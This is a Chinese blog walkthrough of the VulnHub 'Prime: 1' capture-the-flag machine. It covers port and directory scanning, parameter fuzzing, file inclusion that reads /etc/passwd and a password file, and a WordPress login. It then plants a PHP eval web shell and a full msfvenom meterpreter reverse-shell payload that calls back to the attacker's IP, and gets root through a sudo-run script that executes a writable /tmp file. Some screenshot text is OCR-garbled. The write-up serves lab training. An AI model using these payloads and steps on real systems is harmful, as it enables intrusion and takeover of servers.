# vulnhub-prime\_series\_level\_1渗透测试

# 原创



vulnhub 专栏收录该内容

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### 环境搭建

## 官网https://www.vulnhub.com/entry/prime-1,358/

将VMX文件(VMWare 文件格式详解 .VMX .VMSD .VMDK)直接拖进来

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			find p	Dassw	ord.t	xt file	e in m	ny dire	ector						
			Pass	word											
			victor												
			Gues	t Sess	sion										
	u	bu	ntu <sup>®</sup>	, 16.0	04 LT	S									
												(	CSDN @	Yster(	Ccc

扫描网站路径与敏感文件,通过不断的提示找到一个可用的fuzz工具。利用fuzzing爆破参数发现了可利用进行文件包含的参数 file,这里再得到提示后,在仅有的一个php文件中利用secrettier360参数fuzzing系统敏感文件,找到一个密码后在wordpress页 面进行登录,找到一个可以写入内容的页面,写入一句话木马并getshell,最后利用已存在的一个漏洞或是利用后门密码进行提 权

### 渗透测试

sudo arp-scan -l nmap -sV 192.168.22.130

sudo arp-scan -l 1 ×
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b3:76:c7, IPv4: 192.168.22.128
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.22.1 00:50:56:c0:00:08 VMware, Inc.
192.168.22.2 00:50:56:f8:5c:6c VMware, Inc.
192.168.22.130 00:0c:29:7d:b7:06 VMware, Inc.
192.168.22.254 00:50:56:e5:26:94 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.906 seconds (134.31 hosts/sec).
4 responded
(yster⊛kali)-[~]
└_\$ nmap _sV 192.168.22.130
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-22 11:19 CST
Nmap scan report for 192.168.22.130
Host is up (0.00055s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol
2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel CSDN @YSTErCCC

访问80端口,没有任何信息



拿dirsearch直接扫

./dirsearch.py -u 192.168.22.130 -e\*

[11:34:39]			/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[11:34:41]	200	131B	/dev
[11:34:45]	200	147B	/image.php
[11:34:45]	200	136B	/index.php
[11:34:46]	200	136B	/index.php/login/
[11:34:46]	301	321B	/javascript → http://192.168.22.130/javascript/
[11:34:56]			
[11:34:56]			
[11:35:03]	200	3KB	/wordpress/wp-login.php
[11:35:03]	200	11KB	/wordpress/
Task Comple	eted		

访问dev目录,有提示但是又好像没有什么用

hello,

now you are at level 0 stage.

In real life pentesting we should use our tools to dig on a web very hard.

Happy hacking.

中间的几个页面访问到都没有什么用,再访问/wordpress/,一个新建的wordpress页面



域名	: 192.168.22.130 开始扫描	停止扫描
线程 超时	: 5 √ (条 CPU核心 * 5最佳) □ DIR: 446890	☑ 探测200 □ 探测403 □ 探测3XX
扫描信	息:扫描完成	扫描速度: 0/秒
ID	地址	HTTP响应 个
1	http://192.168.22.130/index.php?chemin=%2f%2f%2f%2f%2f%2f%2f%2fw2fwtc	200
2	http://192.168.22.130/index.php	200
3	http://192.168.22.130/secret.txt	200
4	http://192.168.22.130/wordpress/	200
5	http://192.168.22.130/index.php?option=com_user&view=reset&layout=confirm	200
6	http://192.168.22.130/index.php?s=admin=login	200
7	http://192.168.22.130/secret.txt	200
8	http://192.168.22.130/index.php.	200
9	http://192.168.22.130/index.php?	200
10	http://192.168.22.130/index.php?pymembs=admin	200
11	http://192.168.22.130/8010/Guide////////	200
12	http://192.168.22.130/cgi=bin/ssi/////////.	200
13	http://192.168.22.130/image.php	200
14	http://192.168.22.130/index.php%2e	200
15	http://192.168.22.130/index.php?chemin=%2f%2f%2f	200
16	http://192.168.22.130/index.php?option=com_user@view=res	200
17	http://192.168.22.130/?.asp	200
18	http://192.168.22.130/image.php	200
19	http://192.168.22.130/index.php?.php	ON @YsterCcc
20	http://192.168.22.130/?.php	200

Looks like you have got some secrets.

Ok I just want to do some help to you.

Do some more fuzz on every page of php which was finded by you. And if you get any right parameter then follow the below steps. If you still stuck Learn from here a basic tool with good usage for OSCP.

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz For Web

//see the location.txt and you will get your next move// CSDN @YsterCcc

#### Fuzz\_For\_Web

看来是得用给出的工具去搞location.txt,这个工具简单来说就是用爆破的方式来模糊测试?后参数是什么,这里具体如何使用网址中也讲的很详细

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hl 7 http://192.168.22.130/index.php?FUZZ=Location.tx
t

这里-hl7就是对Lines进行的限制,因为发现有一个8L的数据,所以将大量7l的限制后,就能得到特殊的一个参数file

000000349:	200	7 L	12 W	136 Ch	"forget"
000000348:	200	7 L	12 W	136 Ch	"foo"
000000347:	200	7 L	12 W	136 Ch	"folder"
000000345:	200	7 L	12 W	136 Ch	"first"
000000342:	200	7 L	12 W	136 Ch	"files"
000000344:	200	7 L	12 W	136 Ch	"firewall"
000000346:	200	7 L	12 W	136 Ch	"flash"
000000338:	-200	7 L	12 W	136 Ch	"fcgi-bin"
000000340:	200	7 L	12 W	136 Ch	"field"
000000355:	200	7 L	12 W /	136 Ch	"formsend"
000000353:	200	7 L	12 W/5	136 Ch	"format"
000000359:	200	7 L	12 W	136 Ch	"forums"
000000374:	200	L.	12 W /	136 Ch	″gone″
000000373:	200	7 L	12 W	136 Ch	"globals"
000000367:	200	7 L	12 W	136 Ch	"gate"
000000372:	200	7 L	12 W	136 Ch	"globalnav"
000000370:	200	7 L	12 W	136 Ch	get
00000369					and the second se
00000000.	200	7 L	12 W	136 Ch	"gest"
000000341:	200 200 8	7 L 3 L	12 W 42 W	136 Ch 334 Ch	"gest" "file"
000000341: 000000371:	200 200 200	7 L 3 L 7 L	12 W 42 W 12 W	136 Ch 334 Ch 136 Ch	"gest" "file" "global"
000000341: 000000371: 000000366:	200 200 200 200	7 L 3 L 7 L 7 L	12 W 42 W 12 W 12 W	136 Ch 334 Ch 136 Ch 136 Ch	"gest" "file" "global" "games"
000000341: 000000371: 000000366: 000000368:	200 200 200 200 200 200	7 L 3 L 7 L 7 L 7 L	12 W 42 W 12 W 12 W 12 W	136 Ch 334 Ch 136 Ch 136 Ch 136 Ch 136 Ch	"gest" "file" "global" "games" "generic"
000000341: 000000371: 000000366: 000000368: 000000365:	200 200 200 200 200 200 200	7 L 3 L 7 L 7 L 7 L 7 L	12 W 42 W 12 W 12 W 12 W 12 W 12 W	136 Ch 334 Ch 136 Ch 136 Ch 136 Ch 136 Ch 136 Ch	"gest" "file" "global" "games" "generic" "functions"
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000000341: 000000371: 000000366: 000000368: 000000365: 000000364: 000000363: 000000362:	200 200 200 200 200 200 200 200 200 200	7 L 3 L 7 L 7 L 7 L 7 L 7 L 7 L 7 L	12 W 42 W 12 W 12 W 12 W 12 W 12 W 12 W 12 W 1	136 Ch 334 Ch 136 Ch 136 Ch 136 Ch 136 Ch 136 Ch 136 Ch 136 Ch 136 Ch	"gest" "file" "global" "games" "generic" "functions" "function" "fun" "ftp"
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000000341: 000000371: 000000366: 000000368: 000000365: 000000364: 000000363: 000000362: 000000361: 000000358:	200 200 200 200 200 200 200 200 200 200	7 L 3 L 7 L 7 L 7 L 7 L 7 L 7 L 7 L 7	12       W         42       W         12       W	136       Ch         334       Ch         136       Ch	"gest" "file" "global" "games" "generic" "functions" "function" "fun" "ftp" "framework" "forum"
000000341: 000000371: 000000366: 000000368: 000000365: 000000364: 000000363: 000000362: 000000361: 000000358: 000000360:	200 200 200 200 200 200 200 200 200 200	7 L 3 L 7 L 7 L 7 L 7 L 7 L 7 L 7 L 7	12 W 42 W 12 W 12 W 12 W 12 W 12 W 12 W 12 W 1	136       Ch         334       Ch         136       Ch <td< td=""><td>"gest" "file" "global" "games" "generic" "functions" "function" "fun" "ftp" "framework" "forum" "frame"</td></td<>	"gest" "file" "global" "games" "generic" "functions" "function" "fun" "ftp" "framework" "forum" "frame"

#-wfuzz -c w <u>/usr/share/wfuzz/wordlist/general/common.txt</u> -hl 7 http://192.168.22.130/index.php?	FUZZ=location.txt
/usr/lib/python3/dist-packages/wfuzz/initpy:34: UserWarning:Pycurl is not compiled against Ope	nssl. Wfuzz might no
t work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.	
***************************************	
* Wiuzz 3.1.0 - The Web Fuzzer *	
Target: http://192.168.22.130/index.php?FUZZ=location.txt	
Total requests: 951	
ID Response Lines Word Chars Payload	
000000341: 200 8 L 42 W 334 Ch "file"	
Total time: 0	
Processed Requests: 951	
Requests/sec.: 0	
	CSDN @YsterCcc

ok well Now you reah at the exact parameter	
Now dig some more for next one use 'secrettier360' parameter on some other php page for more fun.	
□ 查看器 ② 控制台 □ 调试器 1↓ 网络 【】样式编辑器 ① 性能 ① 内存 日 存储 1 无障碍环境 2 应用程序 ● HackBar	<u></u>
Encryption - Encoding - SQL - XSS - Other -	Contribute now! HackBar v2
Load URL http://192.168.22.130/index.php?file=location.txt	CSDN @YsterCcc

Do something better

**9**1 **1** ...

use 'secrettier360' parameter on some other php page for more fun.

刚才只扫到一个index.php和一个image.php所以这里只能利用image.php

### finaly you got the right parameter



在/etc/passwd中发现 find password.txt file in my directory:/home/saket,访问

/image.php?secrettier360=/home/saket/password.txt

# finaly you got the right parameter

# follow\_the\_ippsec

C	C 中 查看器	▶ 控制台	D	调试器	↑↓ 网络	{}样式编辑器	Ω 性能	① 内存	🗄 存储	Ť
	Encryption -	Encoding	Ŧ	SQL -	XSS -	Other -				
	Coad URL	http://	/192	.168.22.	130/image	e.php?secrettier	-360=/hom	e/saket/pa	Bérronalia	ŧ

得到一个密码(follow\_the\_ippsec),本想着在虚拟机上直接登录

find p	assw	ord.t	xt file	in m	y dire	ector					
· · .											
victor											
victor		•••••				•	] .				
victor 	Sess	ion		•	•	•	]				
victor •••••	: Sess	iion		•	•	• • •					
victor ••••• Guest	: Sess	ion	- - -		•	•	 				
victor •••••	: Sess	iion	· · · · · · · · · · · · · · · · · · ·		· · · ·	· · · ·					
victor	: Sess	ion	· · · · · · · · · · · · · · · · · · ·		•	•	 				
victor	: Sess	ion	• • • •	• • • •	•	• • • •					

Invalid password, please try again

Password

又想起来刚刚有找到一个/wordpress/目录,既然是wordpress框架的话,尝试能不能直接找到它登陆的地方,这里也是有一个用 户名

### Welcome to WordPress. This is your first post. Edit or delete it, then start writing!



victor,follow\_the\_ippsec登录成功,这里找到theme editor的secret.php页面,发现可以进行文件上传,这里直接传一个php一句 话木马

<?php @eval(\$\_POST['qwer']);?>



搞过wordpress的应该可以找到上传路径在哪,不过这里能进行命令执行,但是不能用蚁剑进行连接

http://192.168.22.130/wordpress/wp-content/themes/twentynineteen/secret.php

	PHP Version 7.0.33-0ubuntu0.16.04.16									
	System	Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64								
	Server API	Apache 2.0 Handler								
	Virtual Directory Support	disabled								
	Configuration File (php.ini) Path	/etc/php/7.0/apache2								
	Loaded Configuration File	/etc/php/7.0/apache2/php.ini								
	Scan this dir for additional .ini files	/etc/php/7.0/apache2/conf.d								
	Additional .ini files parsed	/etc/php/7.0/apache2/conf.d/10-mysqlndini, /etc/php/7.0/apache2/conf.d/10-opcache.ini, /etc/php /7.0/apache2/conf.d/10-pdo.ini, /etc/php/7.0/apache2/conf.d/20-calendar.ini, /etc/php/7.0/apache2 /conf.d/20-ctype.ini, /etc/php/7.0/apache2/conf.d/20-exilini, /etc/php/7.0/apache2/conf.d/20-fileinfo.ini, /etc/php/7.0/apache2/conf.d/20-fipi.ini, /etc/php/7.0/apache2/conf.d/20-gd.ini, /etc/php/7.0/apache2/conf.d/20-son.ini, /etc/php/7.0/apache2/conf.d/20-mysql.ini, /etc/php/7.0/apache2/conf.d/20-gd.ini, /etc/php/7.0/apache2/conf.d/20-son.ini, /etc/php/7.0/apache2/conf.d/20-mysql.ini, /etc/php/7.0/apache2/conf.d/20-posi.nii, /etc/php/7.0/apache2/conf.d/20-son.ini, /20-readline.ini, /etc/php/7.0/apache2/conf.d/20-shmop.ini, /etc/php/7.0/apache2/conf.d/20-sockets.ini, /etc/php/7.0/apache2/conf.d/20-syswsg.ini, /etc/php/7.0/apache2/conf.d/20-syswsm.ini, /etc/php/7.0/apache2/conf.d/20								
	PHP API	20151012								
□ ① 查看器 ② 控制台 □ 调试器 1 网络 {} 样式编	辑器 🕥 性能 🕕 内存 🖯 存储 🕇 🗄	无障碍环境 翻 应用程序 🕘 HackBar								
Encryption - Encoding - SQL - XSS - Other	-									
Load URL http://192.168.22.130/wordpress/wp-c	Image: Split URL       http://192.168.22.130/wordpress/wp-content/themes/twentynineteen/secret.php									
● Execute Post data □ Referer □ User A	gent 🗌 Cookies Clear All									
qwer=phpinfo();		CSDN @YsterCcc								

利用msfMsfvenom命令总结大全中已有payload(php/meterpreter/reverse\_tcp)生成shell.php。打开shell.php文件,将内容复制 到secret.php中。

msfvenom -p php/meterpreter/reverse\_tcp lhost=192.168.22.128 lport=1234 -f raw -o /home/yster/桌面/shell.php -p选择相应payload lhost=本地IP lport=监听端口 -f raw 指定输出格式。 -o 指定输出文件的位置

##msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.22.128 lport=1234 -f raw -o /home/yster/桌面/shell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size: 1115 bytes Saved as: /home/yster/桌面/shell.php
□root
roót⊙kali)-[/home/yster] #-cd 桌面
roót♥kali)-[/home/yster/桌面] #-ls Hirsearch shell.php
<pre>/**/ error_reporting(0); \$1p = 192.168.22.128 ; \$port = 1234; 1f ((\$f = stream_socket_client) &amp; is_callable(\$f)) { \$s = \$f("tcp://{\$ip}:{\$port}"); \$s_type = 'stream'; } if (!\$s &amp;&amp; (\$f = 'fsockopen') &amp;&amp; is_callable(\$f)) { \$s = \$f(\$ip, \$port); \$s_type = 'stream'; } if (!\$s &amp;&amp; (\$f = 'socket_create') &amp;&amp; is_callable(\$f)) { \$s = \$f(AF_INET, SOCK_STREAM, SOL_TCP); \$res = @socket_connect(\$s, \$ip, \$port); if (!\$res) { die(); } \$s_type = 'socket'; } if (!\$s_type) { die('no socket'); } switch (\$s_type) { case 'stream': \$len = fread(\$s, 4); break; case 'socket': \$len = socket read(\$s, 4); break; case 'socket': \$len = socket</pre>
<pre>ile (strlen(\$b) &lt; \$len) { switch (\$s_type) { case 'stream': \$b .= fread(\$s, \$len-strlen(\$b)); break; case 'socket': \$b . = socket_read(\$s, \$len-strlen(\$b)); break; } \$GLOBALS['msgsock'] = \$s; \$GLOBALS['msgsock_type'] = \$s_type; if (extensi on_loaded('suhosin') &amp;&amp; ini_get('suhosin.executor.disable_eval')) { \$suhosin_bypass=create_function('', \$b); \$suhosin_by pass(); } else { eval(\$b); } die();</pre>

🚯 📸 Focus 😋 5	투 0 🕂 New	Hov
Dashboard	Twenty Nineteen: secret.php Select theme to ed	it: Twenty Nineteen
- <b>A B</b> - <b>i</b>	Selected file content:	Theme Files
Posts     Posts     Posts     Posts     Posts	<pre>1 /*<?php /**/ error_reporting(0); Sip = '192.168.22.128'; Sport = 1234; if ((Sf = 'stream_socket_client') && is_callable(Sf)) { Ss = Sf("top://(&ip):(Sport)"); Ss_type = 'stream'; } if (!Ss && (Sf = 'socket_create') && is_callable(Sf)) { Ss = Sf(Ar_INET, SOCK_STREAM, SOL_TOP); Sres = @socket_connect(Ss, Sip, Sport); if (!Sres) { die(); } Ss_type = 'stream'; } if (!Ss && (Sf = 'socket_treate') && is_callable(Sf)) { Ss = Sf(Ar_INET, SOCK_STREAM, SOL_TOP); Sres = @socket_connect(Ss, Sip, Sport); if (!Sres) { die(); } Ss_type = 'stream'; } if (!Ss && (Sf = 'socket_treate') && (Ss = Sf(Ar_INET, SOCK_STREAM, SOL_TOP); Sres = @socket_connect(Ss, Sip, Sport); if (!Sres) { die(); } Ss_type = 'socket'; } if (!Ss && (Sf = 'socket_treate') && (Ss = Sf(Ar_INET, SOCK_STREAM, SoL_TOP); Sres = @socket_connect(Ss, Sip, Sport); if (!Sres) { die(); } Ss_type = 'socket'; } if (!Ss && (Sf = 'socket_treate') && (Ss = Sf(Ar_INET, SOCK_STREAM, SoL_TOP); ) && (Ss = Sf(Ar_INET, Sock_STREAM, Sock_</th><th>Comments (comments.php) Theme Footer</th></pre>	Comments (comments.php) Theme Footer
<ul> <li>Comments</li> </ul>	<pre>(sigtype) ( case 'stream:'side " remarks, s;) preast case 'socket': sine " socket': preast, s;) preast ) if (sign) ( cise() ) sin = upport("diden", sin); sine = sa('ten'); so = "'; while (strein(Sb) &lt; Sine) ( suith (Sigtype) ( case 'stream': Sb = "fract(s, Sin=strin(Sb)); break; ) if (sine) ( case 'socket': b = "'; so = "'; SicloBALS['maggock'] = Ss; SGC0BALS['maggock type'] = Ss_type: if (extension_loaded('subosin') 64 ini_get('subosin.executor.disable_eval')) ( Ssubosin_bypass(); else ( val('b); ) de(');</pre>	(footer.php) Theme Header (header.php)
Appearance		Image Attachment Ter (Image.php)
Themes		inc 🕨
Customize		Main Index Template
Widgets		Single Page
Theme Editor		(page,php)
		Search Results (search.php)
Plugins 🕕		secret.php
🍝 Users		Single Post (single.php)
E Settings		template-parts 🕨
Collapse menu		print.scss
		sass  style-editor-customize
		style-editor.scss
		style.scss
		readme.txt
	File edited successfully.	
	Update File	
	CS	DN @YsterCcc

将secret.php文件上传成功后,使用msf模块(exploit/multi/handler),设置lhost和lport和 payload(php/meterpreter/reverse\_tcp),开启监听后,浏览器打开secret.php页面。

msfconsole use exploit/multi/handler show options set lhost 192.168.22.128 set payload php/meterpreter/reverse\_tcp set lport 1234 run





通过会话拿到shell,再用python稳一下bash,这里已经拿到普通用户的权限了,接下来就是提权

python -c 'import pty;pty.spawn("/bin/bash")'

msf直接进行提权(失败)

参考渗透测试实战——prime靶机入侵时,是通过查看版本内核后发现可以利用msf直接拿下,但我在利用时候最后一步出了点问题

<ml/wordpress/wp-content/themes/twentynineteen\$ uname -a Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86\_64 x86\_64 x86\_64 GNU/Linux

再打开kali的msf,利用LinuxKernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local PrivilegeEscalation进行提权



先把45010.c丢到一个好找的地方,对它进行编译,随后在meterpreter中进行上传,最后拿用户权限进行执行

cp /usr/share/exploitdb/exploits/linux/local/45010.c /home/yster/ gcc 45010.c -o root

upload /home/yster/root /tmp

./root



<pre>meterpreter &gt;</pre>	upload /home/yster/root /tmp
[*] uploading	: /home/yster/root -> /tmp
[*] uploaded	: /home/yster/root -> /tmp/root
meterpreter >	

www-data@ubuntu:/var/www\$ cd /tmp cd /tmp www-data@ubuntu:/tmp\$ ./root ./root bash: ./root: Permission denied www-data@ubuntu:/tmp\$

#### 利用可任意调用文件的可执行文件

【writeup】Prime\_Series\_level\_1靶机。查了好多文章,仿佛只有这一篇有写如何提权

在/opt下有一个backup\_pass文件,存有enc文件密码(backup\_password"),在home目录下查找enc文件



find /home enc /home /home/victor find: '/home/victor': Permission denied /home/saket /home/saket/.bash\_history /home/saket/password.txt /home/saket/enc 直接执行时需要密码,输入backup\_password



看提示应该是从/root复制文件到当前路径。所以使用sudo执行。



但是好像并没有什么东西, cat一下enc与key



enc.txt文件是一窜加密的文本。key.txt内容是提示如何解密enc.txt的加密文本(应该是先把ippsec进行md5加密,加密后的值用于 解密enc.txt)。这里用到的网站:

https://www.cmd5.com/

https://www.devglan.com/online-tools/aes-encryption-decryption https://base64.us/



/kUj8JO08wGe9JxtOEJ6XJA3cO	
/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6ID	
/wfpY2ZnA1787ajtm+	

### Input Text Format: OBase64 OHex

### Select Mode

ECB

### Key Size in Bits

256

### Enter Secret Key

366a74cb3c959de17d61db30591c39d1

Decrypt

## AES Decrypted Output (Base64):

RG9udCB3b3JyeSBzYWtldCBvbmUgZGF5IHd IIHdpbGwgcmVhY2ggdG8Kb3VyIGRIc3Rpb mF0aW9uIHZlcnkgc29vbi4gQW5kIGImIHIvd SBmb3JnZXQgCnlvdXIgdXNlcm5hbWUgdG hlbiB1c2UgeW91ciBvbGQgcGFzc3dvcmQKPT 0+ICJ0cmlidXRIX3RvX2lwcHNIYyIKCIZpY3Rvc

**Decode to Plain Text** 

CSDN @YsterCcc

 $\sim$ 

RG9udCB3b3JyeSBzYWtldCBvbmUgZGF5IHdlIHdpbGwgcmVhY2ggdG8Kb3VyIGRlc3RpbmF0aW9uIHZlcnkgc29vbi4gQW5kIGImlHlvdSB mb3JnZXQgCnlvdXlgdXNlcm5hbWUgdGhlbiB1c2UgeW91ciBvbGQgcGFzc3dvcmQKPT0+ICJ0cmlidXRlX3RvX2lwcHNlYyIKClZpY3Rvciw =
编码 (Encode) 解码 (Decode) ↓交换 (编码快捷键: Ctrl + Enter )
Base64 编码或解码的结果:
Dont worry saket one day we will reach to our destination very soon. And if you forget your username then use your old password ==> "tribute_to_ippsec"
Victor, CSDN @YsterCcc
ipsec md5加密后的值为: 366a74cb3c959de17d61db30591c39d1 enc解密后内容: Dont worry saket one day we will reach toour destination very soon. And if you forget your usernam e then use your old password==> "tribute_to_ippsec"Victor, 根据解密后的内容,获得了saket密码。从www-data用户切换到saket用户。 切换到saket用户后,查看下saket用户的权限。
su saket //tribute_to_ippsec sudo -l
<pre>saket@ubuntu:/\$ sudo -1 sudo -1 Matching Defaults entries for saket on ubuntu:     env_reset, mail_badpass,     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/</pre>
可以看到acket用自可以不龄)密码执行//amackingtor/undefected vieter(这个明audeers文化方光)。 支接执行

可以看到saket用户可以不输入密码执行/home/victor/undefeated\_victor(这个跟sudoers文件有关),直接执行

sudo /home/victor/undefeated\_victor

if you can defeat me then challenge me in front of you
/home/victor/undefeated\_victor: 2: /home/victor/undefeated\_victor: /tmp/challenge: not found

/tmp/challenge: not found,这里因为saket用户可以不输入密码执行/home/victor/undefeated\_victor文件,而undefeated\_victor文件会执行/tmp/challenge下的命令,因为该路径是空的所以会报错not found,但是/tmp是可写入的,所以将/bin/bash复制 到/tmp/challenge,然后再次执行,就能获取root权限,整体就是 saket用户->undefeated\_victor->/tmp/challenge->/bin/bash

cp /bin/bash /tmp/challenge
sudo /home/victor/undefeated\_victor

 $\ensuremath{\text{if}}$  you can defeat me then challenge me in front of you

saket@ubuntu:`\$ sudo /home/victor/undefeated_victor	
sudo /home/victor/undefeated_victor	
if you can defeat me then challenge me in front of you	
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challer	nge: not found
saket@ubuntu:~\$ cp /bin/bash /tmp/challenge A	
cp /bin/bash /tmp/challenge	
saket@ubuntu:`\$ sudo /home/victor/undefeated_victor	
sudo /home/victor/undefeated_victor	
if you can defeat me then challenge me in front of you	
root@ubuntu:"#	CSDN @YsterCcc